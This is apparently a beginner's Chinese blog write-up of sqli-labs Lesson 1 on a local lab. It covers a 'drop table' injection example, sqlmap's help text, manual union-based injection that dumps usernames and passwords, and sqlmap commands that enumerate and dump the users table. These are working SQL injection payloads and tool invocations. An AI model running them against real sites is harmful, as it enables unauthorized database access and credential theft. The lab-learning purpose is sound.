SQL注入:sqli-labs lesson-1 小白详解

为什么是小白详解?因为我就是小白

SQL注入早有耳闻,今天算是真正打开这个门了,但是想要跨进去应该还是没有那么容易。
在B站上听了40分钟的网课,老实说,他讲的还不错,第一遍听不懂也正常
https://www.bilibili.com/video/BV1Q54y1D7VV?p=4
感谢博客园博客带我入门:https://www.cnblogs.com/peterpan0707007/p/7620048.html

每一个带我学习的博客、视频都值得感谢

工具准备:

  • 浏览器插件:hack bar(免费版的Max hack bar 也不错)
  • kali虚拟机或者sqlmap脚本

什么是SQL注入?

到目前为止我理解的sql注入无非就是:

利用sql语句的中字符匹配,注入一些恶意的代码进去

就好比有个代码:

select * from ABC where name='qqq' ; 
# limit命令表示选择第0行开始往下1行的内容

#我将name的值传输为222' ;drop table ABC -- ,那么语句就是
select * from ABC where name='222' ; drop table ABC -- '
#很显然,后面的单引号被注释掉了
#然后这个恶意代码就可以在那里乱删。

这只是一方面,作为小白肯定还要学好多。

SQL注入扫描工具sqlmap

在这里插入图片描述

作为一个小白,我的英语也不太好(太菜了,现在到饭点了,我不配吃饭)

Options:
  -h, --help            Show basic help message and exit
  -hh                   Show advanced help message and exit
  --version             Show program's version number and exit
  -v VERBOSE            Verbosity level: 0-6 (default 1)

  Target:
    At least one of these options has to be provided to define the
    target(s)

    -u URL, --url=URL   Target URL (e.g. "http://www.site.com/vuln.php?id=1")
    -g GOOGLEDORK       Process Google dork results as target URLs

  Request:
    These options can be used to specify how to connect to the target URL

    --data=DATA         Data string to be sent through POST (e.g. "id=1")
    --cookie=COOKIE     HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..")
    --random-agent      Use randomly selected HTTP User-Agent header value
    --proxy=PROXY       Use a proxy to connect to the target URL
    --tor               Use Tor anonymity network
    --check-tor         Check to see if Tor is used properly

  Injection:
    These options can be used to specify which parameters to test for,
    provide custom injection payloads and optional tampering scripts

    -p TESTPARAMETER    Testable parameter(s)
    --dbms=DBMS         Force back-end DBMS to provided value

  Detection:
    These options can be used to customize the detection phase

    --level=LEVEL       Level of tests to perform (1-5, default 1)
    --risk=RISK         Risk of tests to perform (1-3, default 1)

  Techniques:
    These options can be used to tweak testing of specific SQL injection
    techniques

    --technique=TECH..  SQL injection techniques to use (default "BEUSTQ")

  Enumeration:
    These options can be used to enumerate the back-end database
    management system information, structure and data contained in the
    tables

    -a, --all           Retrieve everything
    -b, --banner        Retrieve DBMS banner
    --current-user      Retrieve DBMS current user
    --current-db        Retrieve DBMS current database
    --passwords         Enumerate DBMS users password hashes
    --tables            Enumerate DBMS database tables
    --columns           Enumerate DBMS database table columns
    --schema            Enumerate DBMS schema
    --dump              Dump DBMS database table entries
    --dump-all          Dump all DBMS databases tables entries
    -D DB               DBMS database to enumerate
    -T TBL              DBMS database table(s) to enumerate
    -C COL              DBMS database table column(s) to enumerate

  Operating system access:
    These options can be used to access the back-end database management
    system underlying operating system

    --os-shell          Prompt for an interactive operating system shell
    --os-pwn            Prompt for an OOB shell, Meterpreter or VNC

  General:
    These options can be used to set some general working parameters

    --batch             Never ask for user input, use the default behavior
    --flush-session     Flush session files for current target

  Miscellaneous:
    These options do not fit into any other category

    --wizard            Simple wizard interface for beginner users

[!] to see full list of options run with '-hh'

Press Enter to continue...

这是使用 -h命令出来的说明文档,作为小白,一开始这些肯定都比较生疏。记住几个重要的

  • -a, --all Retrieve everything
  • -b, --banner Retrieve DBMS banner
  • --current-user Retrieve DBMS current user
  • --current-db Retrieve DBMS current database
  • --passwords Enumerate DBMS users password hashes
  • --tables Enumerate DBMS database tables
  • --columns Enumerate DBMS database table columns
  • --schema Enumerate DBMS schema
  • --dump Dump DBMS database table entries
  • --dump-all Dump all DBMS databases tables entries
  • -D DB DBMS database to enumerate 检索数据库
  • -T TBL DBMS database table(s) to enumerate 检索数据表
  • -C COL DBMS database table column(s) to enumerate 检索数据表中的列

进入正题,开始做题

  • 打开PHPstudy 开启Apache 和Mysql
  • 进入地址: 127.0.0.1/sqli-libs (kali进入主机IP/sqli-labs)

我把sqli-labs的文件夹名称改成了sqli ,方便一些

在这里插入图片描述
题目给了提示,这个是错在单引号的问题上
进入

打开hackbar 我们要在hackbar上面检索一些东西,他们叫做“手工注入
在这里插入图片描述
在这里插入图片描述
一段小字提示我们是和ID有关的。数据库里面的 id一般是小写。
在这里插入图片描述
获取一下网站
在这里插入图片描述

我们再重复地注入一下id,发现13号没有,但是14号又有了,15号没有,16号没有……。那么这个id的上限就是14了咯。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
好了好了,我们是要找注入点,不是找有多少个id号。
题目提示了,是单引号的问题Single quotes - String
那么,我试试注入 ?id=1'
在这里插入图片描述
报错了一段字符串,你看好奇怪噢,怎么是双引号又是单引号的。
其实:这不一定是双引号,有可能是两个单引号!
''1'' LIMIT 0,1'

  • 首先,剔除两边表示字符串的单引号,变成'1'' LIMIT 0,1
  • 其次,剔除我们在1后面多加上的 ‘ ,变成'1' LIMIT 0,1

这样,显而易见,我们的sql语句很可能就是

select * from 表名 where id='数据' limit 0,1;

我们验证一下:输入数字,括号,符号等等,因为里面就是字符串,字符串里面可以是任何东西
在这里插入图片描述
没有报错,完全可以。
好,我们已经找到注入点了,现在我们进行更高级的操作。

使用order by 注入: 侦测数据表有多少列

order by 用于对结果集进行排序
假如我们输入...... order by 3. 那么系统会首先侦测有没有第三列的数据,如果没有, 就会报错.
所以我们使用 order by 来侦测这个数据表到底有多少列

我们正确的注入语句应该是这样的:
select * from 数据表名 where id='随便是什么都可以' order by 1/2/3/4 --+' limit 0,1
别忘了后面要注释掉

这里注释参考了博客:
https://blog.csdn.net/xiayun1995/article/details/86500605
不能直接使用# 因为url读不了
不能直接使用-- ,因为--后面要有空格或者是一个闭合字符串
--+的+会变成空格,--'会让后面形成闭合的空格字符串''
但是这里只能加+,不能使用--'.
因为!亲测不可以,会直接把最外面两个单引号变成变量

在这里插入图片描述
开始手动测试,15没有\13没有.......直到3,有了!
在这里插入图片描述

那么!这个数据表有三列,盲猜是id name 和passwd
我们的目标是管理员的密码,这不重要

使用UNION(union)联合查询

什么是联合查询?就是多个属性一起查,最后汇总在一张表上

我们让union查每个的三列,让它找不到东西,但它找过的东西都可以显示出来.

这个说明了啥?
这个说明了,Your Login name 这个东西在第二列找了
Your Password 这东西在第三列找了

多找一列,就会报错

我们何尝不把 2,3 改成user(),database()这两个函数.
这意味着我的id=1000 要在用户信息和数据库信息里面找.
很显然应该不会找到,所以他就会给我返回一个用户信息.

爆破数据库的名字

现成的工具

让它显示在第二行,调整参数就好了

爆破表名

爆破列名

爆破值

用这个语句,这个没有现成的工具,因为很多属性都要填写,不记得就百度一下吧

http://127.0.0.1/sqli/Less-1/?id=1000' union select 1,group_concat(username,0x3a,password),3 from users --+


东西都出来了,所有的东西都清晰明了.

更常用的还是sqlmap进行探测吧

手工进行实在是太累了,一旦数据库很多,数据表很大,就效率很低.

在这里插入图片描述
进入了sqlmap.
使用命令,

sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --dbs --batch

-u 表示链接参数:链接一定要正确且可执行
--dbs 表示探测数据库:
--batch:表示不用一直问用户要不要继续探测
在这里插入图片描述
我探测到了7个数据库,但是我的目标还是security,因为刚刚通过手工注入我知道这个靶场的数据库就是security.
在这里插入图片描述

进入数据库,探测数据表

sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security --tables --batch

-D 表示选择数据库
--tables 表示查询数据表

在这里插入图片描述
查到了四个数据表,我们当然选择users,其他的和这次靶场无关

查数据表中的列

sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users --columns --batch

-T 表示选择数据表
--columns表示检索出列
在这里插入图片描述
查询内容

sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" -D security -T users -C username,password --dump --batch

-C 表示要查找的目录,用逗号隔开

--dump 是查找元素
在这里插入图片描述

sqlmap固然好用,但是也不能沦为只会使用工具的工具人. 还是要多读书.

从下午三点到现在八点,五个小时入门了sql注入哈哈哈

当个小白真不容易,共勉!

posted @ 2021-07-22 20:10  Zeker62  阅读(156)  评论(0编辑  收藏  举报